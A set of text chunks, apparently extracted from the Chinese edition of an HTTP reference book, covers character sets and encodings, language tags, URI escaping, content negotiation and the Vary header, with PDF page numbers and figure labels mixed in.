    {"text": "设计这份文档的目的，就是为了提供在单一报文中包含多个对象的各种设 施，比如用 US-ASCII 之外的字符集来表示主体文本，表示多种字体格式的文本 消息以及表示非文本类的信息，比如图像和声音片段等。"},
    {"text": "• http://www.ietf.org/rfc/rfc2045.txt RFC 2045，“Multipurpose Internet Mail Extensions, Part One: Format of Internet Message Bodies”（“多用途因特网邮件扩展，第一部分：因特网报文主体的格 式”），规定了用来描述 MIME 格式报文结构的各种首部，其中许多都和 HTTP 中的用法类似或相同。"},
    {"text": "• http://www.ietf.org/rfc/rfc1864.txt RFC 1864，“The Content-MD5 Header Field”（“Content-MD5 首部字段”），提 供了用 Content-MD5 首部字段来做报文完整性检查的行为及用途方面的一些历史 细节。"},
    {"text": "• http://www.ietf.org/rfc/rfc3230.txt RFC 3230，“Instance Digests in HTTP”（“HTTP 中 的 实 例 摘 要 ”）， 描 述 了 对 369 HTTP 实体摘要处理的改进，解决了 Content-MD5 中存在的各种问题。"},
    {"text": "为了支持国际性的内容，服务器需要告知客户端每个文档的字母表和语言，这样客 370 户端才能正确地把文档中的信息解包为字符并把内容呈现给用户。 服 务 器 通 过 HTTP 协 议 的 Content-Type 首 部 中 的 charset 参 数 和 Content- Language 首部告知客户端文档的字母表和语言。"},
    {"text": "他喜欢 使用母语，但也会说一点儿英语，他的浏览器支持 iso-8859-1 西欧字符集编码和 UTF-8 Unicode 字符集编码： Accept-Language: fr, en;q=0.8 Accept-Charset: iso-8859-1, utf-8 388 ｜ 第 16 章 参数“q=0.8”是质量因子（quality factor），说明英语的优先级（0.8）比法语低 （默认值是 1.0）。"},
    {"text": "下 面 的 Content-Type 首 部 告 知 接 收 者， 传 输 的 内 容 是 一 份 HTML 文 件， 用 charset 参数告知接收者使用 iso-8859-6 阿拉伯字符集的解码算法把内容中的二进 制码转换为字符： 371 Content-Type: text/html; charset=iso-8859-6 iso-8859-6 的编码算法把 8 位值域映射为拉丁字母和阿拉伯字母，以及数字，标点和 其他符号 1。"},
    {"text": "HTTP/1.1 200 OK Content-type: text/html; charset=iso-8859-6 iso-8859-6字符集对11100001 Content-length: 18572 （十进制225）解码 Content-language: ar 00100101110100100101001001111101 01010010100111101001111110000110 01010101011100000101010001010011 01011111001000010101111101010... 阿拉伯字母FEH 实体主体 以二进制码形式显示的HTTP响应内容 字符 图 16-1 charset 参数告知客户端如何把内容中的二进制码转换为字符 注 1： 与汉语、日语不同的是，阿拉伯语中只有 28 个字符。"},
    {"text": "国际化 ｜ 389 有 些 字 符 编 码（ 比 如 UTF-8 和 iso-2022-jp） 更 加 复 杂， 它 们 是 可 变 长（variable- length）编码，也就是说每个字符的位数都是可变的。"},
    {"text": "但由于有很多不同的字 母表，也有很多不同的方法把字符编码成二进制码（这些方法各有优缺点），我们需 要一种标准方法来描述并应用把二进制码转换为字符的解码算法。"},
    {"text": "把二进制码转换为字符要经过两个步骤，如图 16-2 所示。 • 在图 16-2a 中，文档中的二进制码被转换成字符代码，它表示了特定编码字符集 中某个特定编号的字符。"},
    {"text": "按iso-8859-6编 码的字符集 65 大写拉丁字母A 66 大写拉丁字母B 224 阿拉伯语中的占位对齐字符 225 阿拉伯字母FEH 226 阿拉伯字母QAF 227 阿拉伯字母KAF 数据二进制码 字符代码 唯一字符 字形 ...11100001 225 \"阿拉伯字母FEH\" (在iso-8859-6 字符集中) 编码方案（使用iso- 编码后的字符集 字体和显示逻辑 8859-6中的编码方案） （a）使用编码方案解码 （b）使用编码后的 （c）使用字体和版式 字符集找到字符 软件找到显示字形 MIME中的charset标记综合描述了字符编码方案和编码后的字符集映射关系 图 16-2 HTTP 协议中的 charset 是字符编码方案和编码后字符集的组合 390 ｜ 第 16 章 国际化字符系统的关键目标是把语义（字母）和表示（图形化的显示形式）隔离 开来。"},
    {"text": "• 如果浏览器认为主体是用 iso-8859-1 西欧字符编码的，它将会显示带有重音符号 的小写拉丁字母“a”： • 如果浏览器使用 iso-8859-6 阿拉伯编码，它将会显示阿拉伯字母“FEH”： • 如果浏览器使用 iso-8859-7 希腊编码，它将会显示小写的希腊字母“Alpha”： 373 • 如果浏览器使用 iso-8859-8 希伯来编码，它将会显示希伯来字母“BET”： 16.2.4 标准化的MIME charset 值 特 定 的 字 符 编 码 方 案 和 特 定 的 已 编 码 字 符 集 组 合 成 一 个 MIME 字 符 集（MIME charset）。"},
    {"text": "它也称为 iso- latin-1，或简称为 Latin1 iso-8859-2 对 ASCII 扩展以包括中欧和东欧语言中的字符，包括捷克、波兰、罗马尼亚。 它 也称为 iso-latin-2 iso-8859-5 对 ASCII 扩展以包括斯拉夫语字符，使用这些字符的语言包括俄语、塞尔维亚语 和保加利亚语 iso-8859-6 对 ASCII 扩展以包括阿拉伯语字符。"},
    {"text": "因为阿拉伯语字符的显示形状会随它在单词 中的位置而变化，阿拉伯语的显示引擎需要分析上下文来为每个字符生成正确的 形状 iso-8859-7 对 ASCII 扩展以包括现代希腊语字符。"},
    {"text": "以前称为 ELOT-928 或 ECMA-118:1986 iso-8859-8 对 ASCII 扩展以包括希伯来语和意第绪语（这两种语言都是犹太人所用的）的 字符 iso-8859-15 更新了 iso-8859-1，用遗漏的法语和芬兰语字母替换了一些不太常用的标点符号 和分数符号，并用新的欧元符号替换国际货币符号。"},
    {"text": "这种字符集简称为 Latin0， 可能将来会替代 iso-8859-1，作为欧洲的首选默认字符集 iso-2022-jp iso-2022-jp 是在日语的电子邮件和网页内容中广泛使用的编码。"},
    {"text": "它是一种变长编 码方案，支持用单字节表示 ASCII 字符，但使用 3 字符的模态转义序列在 3 种日 语字符集中切换 euc-jp euc-jp 是遵循 ISO 2022 的变长编码，它用显式的二进制码模式来标识每个字符， 不需要模态及转义序列。"},
    {"text": "它使用单字节、2 字节以及 3 字节的序列来标识多个日 语字符集中的字符 Shift_JIS 该编码起初是由微软公司开发的，有时称为 SJIS 或 MS Kanji。"},
    {"text": "出于保持历史兼 容性方面的原因，它有点儿复杂，并且不能映射所有的字符，不过它还是用的很 374 普遍 koi8-r KOI8-R 是为俄语设计的流行的 8 位因特网字符集编码，在 IETF RFC 1489 中定 义。"},
    {"text": "这些大写字母是 Code for Information Exchange, 8 bit, Russian（俄语 8 位信 息交换代码）的首字母缩略形式 utf-8 UTF-8 是 一 种 用 来 表 示 UCS（Unicode） 的 常 用 变 长 字 符 编 码 方 案，UCS 的 意 思 是 Universal Character Set of the world’s characters（ 世 界 字 符 统 一 字 符 集 ）。 UTF-8 使用变长的编码来表示字符代码值，每个字符使用 1 ～ 6 个字节。 UTF-8 的主要特点之一就是保持对普通的 7 位 ASCII 文本的后向兼容性 windows-1252 微软公司把它编码后的字符集称为 code page（代码页）。"},
    {"text": "Windows 的代码页 1252 （也称为 CP1252 或 WinLatin1）是对 iso-8859-1 的扩展 392 ｜ 第 16 章 16.2.5 Content-Type 首部和 Charset 首部以及META标志 Web 服务器通过在 Content-Type 首部中使用 charset 参数把 MIME 字符集标记 发送给客户端： Content-Type: text/html; charset=iso-2022-jp 如果没有显式地列出字符集，接收方可能就要设法从文档内容中推断出字符集。"},
    {"text": "对 于 HTML 内 容 来 说， 可 以 在 描 述 charset 的 <META HTTP-EQUIV=\"Content-Type\"> 标记中找到字符集。 例 16-1 中展示了 HTML META 标记如何把字符集设置为日语编码 iso-2022-jp。"},
    {"text": "如 果文档不是 HTML 类型，或其中没有 META Content-Type 标记，软件可以设法扫 描实际的文本，看看能否找出语言和编码的常见模式，以此推断字符编码。 例 16-1 可以在 HTML META 标记中规定字符编码 <HEAD> <META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset= iso-2022-jp \"> <META LANG=\"jp\"> <TITLE>A Japanese Document</TITLE> </HEAD> <BODY> ... 如果客户端无法推断出字符编码，就假定使用的是 iso-8859-1。"},
    {"text": "HTTP 客户端可以使用 Accept-Charset 请求首部来明确告知服务器它支持哪些字 符系统。 Accept-Charset 首部的值列出了客户端支持的字符编码方案。 例如，下 面的 HTTP 请求首部表明，客户端接受西欧字符系统 iso-8859-1 和 UTF-8 变长的 375 Unicode 兼容系统。"},
    {"text": "Accept-Charset: iso-8859-1, utf-8 注 意， 没 有 Content-Charset 这样的响应首部和 Accept-Charset 请求首部匹 配。 为了和 MIME 标准兼容，响应的字符集是由服务器通过 Content-Type 响应首 部的 charset 参数带回来的。"},
    {"text": "国际化 ｜ 393 16.3 多语言字符编码入门 前 一 节 描 述 了 客 户 端 和 服 务 器 是 如 何 分 别 在 HTTP 的 Accept-Charset 首 部 和 Content-Type 首部的 charset 参数中携带字符编码信息的。"},
    {"text": "由统一字符集（Universal Character Set，UCS, 它的非正式的名字 是 Unicode3）首创，为多种语言中的很多字符开发了一系列标准化的文本名称， 它们常用来便捷地命名字符，而且不会与其他字符冲突。"},
    {"text": "16.3.2 字符集的命名很糟糕 从 技 术 上 说，MIME 中 的 charset 标 记（ 用 在 Content-Type 首 部 的 charset 参 数 中 和 Accept-Charset 首 部 中 ） 描 述 的 压 根 就 不 是 字 符 集。"},
    {"text": "例如，iso-8859-1 是一个编码后字符集（它为一个包含 256 个欧洲字符的集合分配了数字化的 代码） ，但 MIME 用 charset 值 iso-8859-1 来表示一种 8 位的、对编码后的字符集恒等的编码。"},
    {"text": "6 图 16-4a 显示了 AIN 作为一个单独的字符时是如何书写的。 图 16-4d 显示的是 AIN 在 单词开头时的情形。 图 16-4c 显示了 AIN 在单词中间的情形，而图 16-4b 显示的是 AIN 在单词结尾处的情形。"},
    {"text": "7 （a）独立存在 （b）位于结尾处（c）位于中间（d）位于起始处 （这些不同的字形都表示同一个字符ARABIC LETTER AIN） 图 16-4 单个字符 ARABIC LETTER AIN 的 4 种与位置相关的书写形式 16.3.4 字形、连笔以及表示形式 不要把字符和字形混淆。"},
    {"text": "为了让书法作品更好看，很多手写体和 字体允许人们把相邻的字符漂亮地连写起来，称为连笔（ligatures），这样两个字 符就平滑地连接在一起了。"},
    {"text": "母语为英语的作者常把 F 和 I 结合为 FI 连笔（参见图 16-5a 和图 16-5b），而阿拉伯语的作者常把字符“LAM”和“ALIF”结合为一种很 优雅的连笔（参见图 16-5c 和图 16-5d）。 378 (a)未使用FI连笔 (b)用了FI连笔 (c)未使用LA连笔 (d)用了LA连笔 ALIF LAM LAM和ALIF 图 16-5 连笔是相邻字符的另一种风格的表示形式，并非新的字符 这里给出一般的规则：如果用一种字形替代另一种的时候，文本的意思变了，那这 些字形就是不同的字符。"},
    {"text": "编码后的字符集US-ASCII 68 大写的拉丁字母D 代码 68 (0x44) 图 16-6 可以把编码后的字符集看作数组，把数值化的代码映射到字符 下面我们来看一些重要的编码后的字符集标准，包括具有历史意义的 US-ASCII 字符 集、ASCII 的 iso-8859 扩展、日文的 JIS X 0201 字符集以及统一字符集（Universal Character Set，Unicode）。"},
    {"text": "国际化 ｜ 397 1. US-ASCII:所有字符集的始祖 ASCII 是最著名的编码后字符集，早在 1968 年就由 ANSI 在标准 X3.4，“美国标准信 379 息 交 换 代 码 ” （American Standard Code for Information Interchange） 中 进 行 了 标 准 化。"},
    {"text": "ASCII 的推荐名称是 US-ASCII，这样可以和那些 7 位字符集的一些国际化变体区分开来。 HTTP 报文（首部、URI 等）使用的字符集是 US-ASCII。"},
    {"text": "iso-8859-1 西欧语言（例如，英语、法语） iso-8859-2 中欧和东欧语言（例如，捷克、波兰） iso-8859-3 南欧语言 iso-8859-4 北欧语言（例如，拉托维亚，立陶宛，格陵兰） iso-8859-5 斯拉夫语（例如，保加利亚、俄罗斯、塞尔维亚） iso-8859-6 阿拉伯语 iso-8859-7 希腊语 iso-8859-8 希伯来语 iso-8859-9 土耳其语 iso-8859-10 日耳曼和斯堪的纳维亚语言（例如，冰岛、因纽特） iso-8859-15 对 iso-8859-1 的修改，包括了新的欧元字符 iso-8859-1 也称为 Latin1，是 HTML 的默认字符集。"},
    {"text": "16.3.6 字符编码方案 字符编码方案规定如何把字符的代码数字打包装入内容比特，以及在另一端如何将 其解包回字符代码（参见图 16-7）。"},
    {"text": "HTTP/1.1 200 OK Content-type: text/html; charset=iso-2022-jp Content-length: 4198 Content-lanuage: jp 00100101110100100101001001111101 01010010100111101001010011010010 01010101011100000101010001010011 01011111001000010101111101010... 字符编码器 实体主体 字符解码器 图 16-7 字符编码方案把字符代码编码为比特，并负责反向变换 国际化 ｜ 399 381 下面我们来看一些常见的编码方案。"},
    {"text": "2. UTF-8 UTF-8 是一种流行的为 UCS 设计的字符编码方案，UTF 表示 UCS 变换格式（UCS Transformation Format）。 UTF-8 为字符代码值使用的是无模态的变宽编码，第一字 节的高位表示编码后的字符所用的字节数，所需的每个后续字节都含有 6 位的代码 值（参见表 16-2）。"},
    {"text": "表16-2 UTF-8 变宽无模态编码 字符代码的二进制位 字节1 字节2 字节3 字节4 字节5 字节 6 0-7 0ccccccc - - - - - 8-11 110ccccc 10cccccc - - - - 12-16 1110cccc 10cccccc 10cccccc - - - 17-21 11110ccc 10cccccc 10cccccc 10cccccc - - 22-26 111110cc 10cccccc 10cccccc 10cccccc 10cccccc - 27-31 1111110c 10cccccc 10cccccc 10cccccc 10cccccc 10cccccc 例 如， 字 符 代 码 90（ASCII 的“Z”） 会 被 编 码 为 1 个 字 节（01011010）， 而 代 码 5073（13 位二进制值为 1001111010001）会被编码为 3 个字节： 1110000 1 10 001111 10 010001 3. iso-2022-jp iso-2022-jp 是互联网上的日文文档中广泛使用的编码。"},
    {"text": "表16-3 iso-2022-jp的字符集切换转义序列 转义序列 转义后的字符集 每个代码的字节数 ESC ( B US-ASCII 1 ESC ( J JIS X 0201-1976 (JIS Roman) 1 ESC $ @ JIS X 0208-1978 2 ESC $ B JIS X 0208-1983 2 在 US-ASCII 或 JIS-Roman 模态下，每个字符使用单个字节。"},
    {"text": "euc-jp 支持 4 种编码后的字符集：JIS X 0201（JIS-Roman，对 ASCII 进行一些日文 替换）、JIS X 0208、半宽片假名（最早在日文电报系统中使用的 63 个字符）以及 JIS X 0212。 编码 JIS Roman（它和 ASCII 兼容）的时候使用 1 个字节，对 JIS X 0208 和半宽片 假名则使用 2 个字节，而对 JIS X 0212 使用 3 个字节。"},
    {"text": "注 13： 尽管每个字节只能有 94 个不同的值（33~126），这也足够覆盖 JIS X 0208 系列字符集里面的所有字符了， 因为这些字符集是按照 94×94 的网格来组织代码值的，所以 2 个字节足以覆盖 JIS X 0208 字符集中 的全部字符代码。"},
    {"text": "国际化 ｜ 401 表16-4 euc-jp编码值 哪个字节 编 码 值 JIS X 0201（有 94 个编码后的字符） 第 1 个字节 33~126 JIS X 0208（有 6879 个编码后的字符） 第 1 个字节 161~254 383 第 2 个字节 161~254 半宽片假名（有 63 个编码后的字符） 第 1 个字节 142 第 2 个字节 161~223 JIS X 0212（有 6067 个编码后的字符） 第 1 个字节 143 第 2 个字节 161~254 第 3 个字节 161~254 现在我们就介绍完了字符集和编码。"},
    {"text": "名字需要标准化，不然的话，有些人会把法语文档打上 French 标记，而有些其他人 会用 Français，还有些人可能会用 France，更有些懒人可能会用 Fra 甚至是 F。"},
    {"text": "如果内容主要是给 注 14： 科幻名著《星际迷航》（ Star Trek ）中的外星种族，加州大学伯克利分校的语言学博士马克乌克兰为 其发明了一套语言。"},
    {"text": "http://www.canyonrecords.com/wav/534.wav HTTP/1.1 200 OK Content-type: audio/x-wav Content-length: 289772 Content-language: i-navajo 00100101110100100101 01010010100111101001 01010101011100000101 01011111001000011... 图 16-8 Content-Language 首部把名为 Rain Song （雨之歌）的音频片段标记为面向纳 瓦霍听众 如果内容是面向多种语言受众的，可以列出多种语言。"},
    {"text": "就像在 HTTP 规范中建议的， 一份同时用英语和毛利语写的“Treaty of Waitangi”16（怀唐伊条约）译稿，可以这 样描述： Content-Language: mi, en 不过，不能仅根据有多种语言在实体中出现就认为它是面向多种语言受众的。"},
    {"text": "HTTP 允许我们把语言方面的限制和优先选择都 发送给网站服务器。 如果网站服务器有以多种语言表示的资源版本，它就能把内容 用我们最优选的语言表示出来。"},
    {"text": "国际化 ｜ 403 这里有个例子，客户端请求西班牙语内容： Accept-Language: es 可以在 Accept-Language 首部中放入多个语言标记以枚举所支持的全部语言及其 优先顺序（从左到右）。 这里有个例子，客户端首选英语，但也接受瑞士德语（标准 语言标记是 de-CH）或其他德语变种（标记是 de）： Accept-Language: en, de-CH, de 客户端使用 Accept-Language 首部和 Accept-Charset 首部请求可以理解的内 容。"},
    {"text": "可以用语言标记来表示： • 一般的语言分类（比如 es 代表西班牙语）； • 特定国家的语言（比如 en-GB 代表英国英语）； 385 • 语言的方言（比如 no-bok 指挪威的书面语）； • 地区性的语言（比如 sgn-US-MA 代表美国马撒葡萄园岛上的手语）；"},
    {"text": "（译者注） 404 ｜ 第 16 章 马撒葡萄园岛上的手语 sgn-US-MA 第一个 第二个 第三个 子标记 子标记 子标记 （手语） （美国）（马萨诸塞州 的地区性变体） 图 16-9 语言标记被分隔为子标记 16.4.5 大小写 所有的标记都是不区分大小写的，也就是说，标记 en 和 eN 是等价的。"},
    {"text": "注 21： 编写本书的时候，IANA 中只显式注册了 21 种语言标记，包括汉语中的广东话（标记是 zh-yue）、 新挪威语（标记是 no-nyn）、卢森堡语（标记是 i-lux）以及克林根语（语言标记是 i-klingon）。"},
    {"text": "表16-5 ISO 639和ISO 639-2中的语言代码示例 语 言 ISO 639 ISO 639-2 阿拉伯语 ar ara 汉语 zh chi/zho 荷兰语 nl dut/nla 英语 en eng 法语 fr fra/fre 德语 de deu/ger 现代希腊语 el ell/gre 希伯来语 he heb 意大利语 it ita 日语 ja jpn 韩语 ko kor 挪威语 no nor 俄语 ru rus 387 西班牙语 es esl/spa 瑞典语 sv sve/swe 土耳其语 tr tur 16.4.8 第二个子标记——名字空间 第二个子标记通常是标准化的国家记号，选自 ISO 3166 中的国家代码和地区标准集 合。"},
    {"text": "表16-6 ISO 3166中的国家代码示例 国 家 代 码 巴西 BR 加拿大 CA 中国 CN 法国 FR 德国 DE 梵蒂冈 VA 印度 IN 意大利 IT 日本 JP 黎巴嫩 LB 墨西哥 MX 巴基斯坦 PK 俄罗斯联邦 RU 英国 GB 美国 US 388 16.4.9 其余子标记——名字空间 除了最长可以到 8 个字符（字母和数字）之外，第三个和其后的子标记没有特殊规则。"},
    {"text": "16.4.10 配置和语言有关的首选项 可以在浏览器的配置文件中配置和语言有关的首选项。 网景公司的 Navigator 的设置方法是：编辑→首选项→语言，而微软公司的 Internet Explorer 浏览器的设置方法是：工具→ Internet 选项→语言。"},
    {"text": "16.5.1 全球性的可转抄能力与有意义的字符的较量 URI 的设计者们希望世界上每个人都能通过电子邮件、电话、公告板，甚至无线电 来共享 URI。"},
    {"text": "为了让世界各地的人们都能够便捷地输入、操控，以及共享 URI，设计者们为 URI 选择了常用字符的一个很有限的子集（基本的拉丁字母表中的字母、数字以及少数 特殊符号）。"},
    {"text": "但不幸的是，限制了字符集的话，URI 就无法被全球的人们方便地使用和记忆。 世 389 界上有很大一部分人甚至都不认识拉丁字母，他们几乎无法把 URI 当作抽象模式来 记忆。"},
    {"text": "URI 的设计者们觉得确保资源标识符的可转抄能力（transcribability）和共享能力比 让它们由最有意义的字符组成更加重要，因此（如今的）URI 基本上是由 ASCII 字 符的受限子集构成的。 16.5.2 URI字符集合 URI 中允许出现的 US-ASCII 字符的子集，可以被分成保留、未保留以及转义字符 这几类。"},
    {"text": "表16-7 URI字符语法 字符类别 字符列表 未保留 [A-Za-z0-9] | \"-\" | \"_\" | \".\" | \"!\" | \"~\" | \"*\" | \" ' \" | \"(\" | \")\" 保留 \";\" | \"/\" | \"?\" | \":\" | \"@\" | \"&\" | \"=\" | \"\" | \"$\" | \",\" 转义 \"%\" <HEX> <HEX> 408 ｜ 第 16 章 16.5.3 转义和反转义 URI 转义提供了一种安全的方式，可以在 URI 内部插入保留字符以及原本不支持的 字符（比如各种空白）。"},
    {"text": "需要处理 URI 时，转义会被反转义回来，产生它们代表的 ASCII 代码的字节。 概念性的字符 编码后的URI字节 反转义之后的ASCII代码字节 ... ... o=111 111 ’s m=109 109 /=47 47 b=98 98 Big Sale at Joe Big S i=105 105 g=103 103 http://www.joes-hardware.com/big%20sale.txt %=37 2=50 32 0=48 s=115 115 ... ... 外部形式 输入和发送的内容 处理的内容 （电子邮件、网页、公告板、无线电） （用当前字符集） （用US-ASCII字符集） 图 16-10 URI 中的字符在传输的时候要转义，但处理的时候要反转义 在内部处理时，HTTP 应用程序应当在传输和转发 URI 的时候保持转义不变。"},
    {"text": "更重要的是，应用程序应该 确保任何 URI 都不会被反转义 2 次，因为在转义的时候可能会把百分号编码进去， 反转义出来之后，再转一次就会导致数据丢失。"},
    {"text": "很多 HTTP 应用程序使用操作系统和库例程来处理字符（比如 Unix 中的字符分类 库 ctype），但不是所有这些库都支持 ASCII 范围（0 ～ 127）之外的字符代码。"},
    {"text": "HTTP 应用程序应当尝试容忍一些不合规矩的日期，不能在接收的时候崩溃。 不过也 不是所有发送出来的日期都能被正确解释，如果日期无法解析，服务器应当谨慎处理。"},
    {"text": "16.7.2 互联网的国际化 • http://www.w3.org/International/ “Making the WWW Truly World Wide”（“使 WWW 真正遍布全球”）——W3C 国际化和本地化网站。"},
    {"text": "• http://www.ietf.org/rfc/rfc2396.txt RFC 2396，“Uniform Resource Identifiers（URI）：Generic Syntax”（“统一资源 描述符：一般语法”），是 URI 的定义文档。"},
    {"text": "• http://www.ietf.org/rfc/rfc2277.txt RFC 2277，“IETF Policy on Character Sets and Languages”（“IETF 关于字符集 和语言的策略”），其中记录了互联网工程指导组（Internet Engineering Steering Group，IESG） 应 用 的 当 前 策 略， 这 些 策 略 是 为 了 配 合 互 联 网 工 程 任 务 组 （Internet Engineering Task Force，IETF）帮助各种互联网协议使用多种语言和字 符交换数据而做的标准化努力。"},
    {"text": "• http://www.ietf.org/rfc/rfc3066.txt 393 RFC 3066，“Tags for the Identification of Languages”（“标识语言的标记”），描 述了语言标记、它们的值，以及如何构造这些标记。"},
    {"text": "• “Codes for the representation of names of languages”（“表示语言名称的代码”） ISO 639:1988 (E/F)，国际标准化组织，第 1 版。 • “Codes for the representation of names of languages—Part 2: Alpha-3 code”（“表 示语言名称的代码，第 2 部分：Alpha-3 代码”） ISO 639-2:1998，ISO TC46/SC4 和 TC37/SC2 联合工作组，第 1 版。 • “Codes for the representation of names of countries”（“表示国家名称的代码”） 394 ISO 3166:1988 (E/F)，国际标准化组织，第 3 版。"},
    {"text": "客户 增加了时延：为了获得 发送可选项的列表，客户 端可以选择最合适的内容 正确的内容，至少要发 端选择 送两次请求 服务器驱动 服务器检查客户端的请求 比 客 户 端 驱 动 的 协 商 方 式 要 快。"},
    {"text": "如 果 结 论 不 是 很 明 确 首部集并决定提供哪个版 HTTP 提 供 了 q 值 机 制， 允 许 服 （比如首部集不匹配）， 本的页面 务 器 近 似 匹 配， 还 提 供 了 Vary 服务器要做猜测 首部供服务器告知下游的设备如 何对请求估值 透明 某个中间设备（通常是缓 免 除 了 Web 服 务 器 的 协 商 开 销。"},
    {"text": "关 于 如 何 进 行 透 明 协 存代理）代表客户端进行 比客户端驱动的协商要快 商，还没有正式的规范 请求协商 414 ｜ 第 17 章 17.2 客户端驱动的协商 对于服务器来说，收到客户端请求时只是发回响应，在其中列出可用的页面，让客 户端决定要看哪个，这是最容易的事情。"},
    {"text": "从实现原理上来说，服务器实际上有两种方法为客户端提供选项：一是发送回一个 HTML 文档，里面有到该页面的各种版本的链接和每个版本的描述信息；"},
    {"text": "除了增加时延并且对每个页面都要进行繁琐的多次请求之外，这种方法还有一个缺 点：它需要多个 URL：公共页面要一个，其他每种特殊页面也都要一个。"},
    {"text": "因此，比 如说原始的请求地址是 www.joes-hardware.com，Joe 的服务器可能会回复某个页 面， 该 页 面 里 面 有 到 www.joes-hardware.com/english 和 www.joes-hardware.com/ french 的链接。"},
    {"text": "如果用户想把这个网站推荐给他的朋友，是告知 www.joes- hardware.com 这 个 地 址 好 呢， 还 是 只 告 诉 他 们 讲 英 语 的 朋 友 www.joes-hardware. com/english 这个地址？"},
    {"text": "减少额外通信量的一种方法是让服务器来决定发送哪个页面回去，但为了做 到这一点，客户端必须发送有关客户偏好的足够信息，以便服务器能够作出准确的 决策。"},
    {"text": "表17-2 Accept 首部集 首 部 描 述 Accept 告知服务器发送何种媒体类型 Accept-Language 告知服务器发送何种语言 Accept-Charset 告知服务器发送何种字符集 Accept-Encoding 告知服务器采用何种编码 注意，这些首部与第 15 章讨论的那些实体首部非常类似。"},
    {"text": "而内容协商首部集是由客户端 发送给服务器用于交换偏好信息的，以便服务器可以从文档的不同版本中选择出最 符合客户端偏好的那个来提供服务。"},
    {"text": "表17-3 Accept 首部集和匹配的文档首部集 Accept 首部 实体首部 Accept Content-Type Accept-Language Content-Language Accept-Charset Content-Type Accept-Encoding Content-Encoding 注意，由于 HTTP 是无状态的协议（表示服务器不会在不同的请求之间追踪客户端 的偏好），所以客户端必须在每个请求中都发送其偏好信息。"},
    {"text": "假如这个西班牙人碰巧懂一点英语，他可能会选择英文页面，这不是最理想的， 416 ｜ 第 17 章 但它能解决问题。 在这种情况下，这个西班牙人需要有办法传达更多与其偏好有关 的信息，也就是他的确对英语略知一二，在没有西班牙语的时候，英语也行。"},
    {"text": "例如，客户端可以发送下列形式的 Accept-Language 首部： Accept-Language: en;q=0.5, fr;q=0.0, nl;q=1.0, tr;q=0.0 其中 q 值的范围从 0.0 ～ 1.0（0.0 是优先级最低的，而 1.0 是优先级最高的）。"},
    {"text": "服务器偶尔也会碰到找不到文档可以匹配客户端的任何偏好的情况。 对于这种情况， 服务器可以修改文档，也就是对文档进行转码，以匹配客户端的偏好。"},
    {"text": "由于缓存需要尽力提供所缓存文档中正确的“最佳”版本，HTTP 协议定义了服务器 在响应中发送的 Vary 首部。 这个首部告知缓存（还有客户端和所有下游的代理）服 务器根据哪些首部来决定发送响应的最佳版本。"},
    {"text": "• 在网站目录中，为网站中每个有变体的 URI 创建一个 type-map（类型映射）文件。 这个 type-map 文件列出了每个变体和其相关的内容协商首部集。 • 启用 MultiViews 指令，这样会使 Apache 自动为目录创建 type-map 文件。 1. 使用type-map文件 Apache 服务器需要知道 type-map 文件的命名规则。 可以在服务器的配置文件中设 置 handler 来说明 type-map 文件的后缀名。 例如： AddHandler type-map .var 这行就说明了后缀是 .var 的文件就是 type-map 文件。"},
    {"text": "399 这里给出一个 type-map 文件示例： URI: joes-hardware.html URI: joes-hardware.en.html Content-type: text/html Content-language: en URI: joes-hardware.fr.de.html Content-type: text/html;charset=iso-8859-2 Content-language: fr, de 根据这个 type-map 文件，Apache 服务器就知道要发送 joes-hardware.en.html 给请求 英语版的客户端，发送 joes-hardware.fr.de.html 给请求法语版的客户端。"},
    {"text": "17.3.5 服务器端扩展 另一种在服务器端实现内容协商的方法是使用服务器端扩展，比如微软的动态服务 418 ｜ 第 17 章 器页面（Microsoft's Active Server Pages，ASP)。"},
    {"text": "内容协商与转码 ｜ 419 GET / HTTP/1.1 Host: www.joes-hardware.com Hi! Welcome to User-agent: spiffy multimedia browser Joe's Hardware Accept-language: fr;q=1.0 Store. Hola! Bienvenido a Joe's Hardware Store. Bonjour 法语用户 Web服务器 Bonjour! Bienvenue a Joe's Hardware Store 缓存 GET / HTTP/1.1 Host: www.joes-hardware.com User-agent: spiffy multimedia browser Accept-language: es;q=1.0 Hola! Bienvenido a Joe's Hardware Store. Bonjour 西班牙语用户 Web服务器 Bienvenido 缓存 图 17-1 缓存根据内容协商首部发送给客户端正确的响应 17.4.2 Vary 首部 这里是浏览器和服务器发送的一些典型的请求及响应首部： GET http://www.joes-hardware.com/ HTTP/1.0 Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.73 [en] (WinNT; U) Host: www.joes-hardware.com Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/ png, */* Accept-Encoding: gzip Accept-Language: en, pdf Accept-Charset: iso-8859-1, *, utf-8 HTTP/1.1 200 OK Date: Sun, 10 Dec 2000 22:13:40 GMT Server: Apache/1.3.12 OpenSSL/0.9.5a (Unix) FrontPage/4.0.4.3 Last-Modified: Fri, 05 May 2000 04:42:52 GMT Etag: \"1b7ddf-48-3912514c\" Accept-Ranges: Bytes Content-Length: 72 Connection: close Content-Type: text/html 420 ｜ 第 17 章 然而，如果服务器的决策不是依据 Accept 首部集，而是比如 User-Agent 首部的 话，情况会如何？"},
    {"text": "但在把文档提供 给客户端之前，它必须检查服务器有没有在已缓存响应中发送 Vary 首部。 如果有 Vary 首部，那么新请求中那些首部的值必须与旧的已缓存请求里相应的首部相同。"},
    {"text": "因为服务器可能会根据客户端请求的首部来改变响应，为了实现透明协商，缓存必 须为每个已缓存变体保存客户端请求首部和相应的服务器响应首部，参见图 17-2。"},
    {"text": "Bonjour HTTP/1.1 200 OK Content-language: fr 法语用户1 Vary: User-agent Web服务器 Bonjour 缓存 [...media-rich content] GET / HTTP/1.1 他要该文档的法语版，我的缓存里 Host: www.joes-hardware.com 有，但我不应该发给他这个版本。"},
    {"text": "User-agent: wimpy wireless device 服务器说我的这个版本是给高性能 Accept-language: fr;q=1.0 的浏览器用的，而这个用户用的却 是低性能的无线浏览器。"},
    {"text": "Bonjour HTTP/1.1 200 OK Content-language: fr 法语用户2 Bonjour Vary: User-agent Web服务器 Bonjour 缓存 [...simple text content] 图 17-2 如果服务器根据特定的请求首部集来选择变体，缓存必须在发送回缓存的响应之前， 检查常规的内容协商首部集和这些请求首部 内容协商与转码 ｜ 421 如果某服务器的 Vary 首部看起来像下面这样，大量不同的 User-Agent 和 Cookie 值将会产生非常多的变体： Vary: User-Agent, Cookie 缓存必须为每个变体保存其相应的文档版本。"},
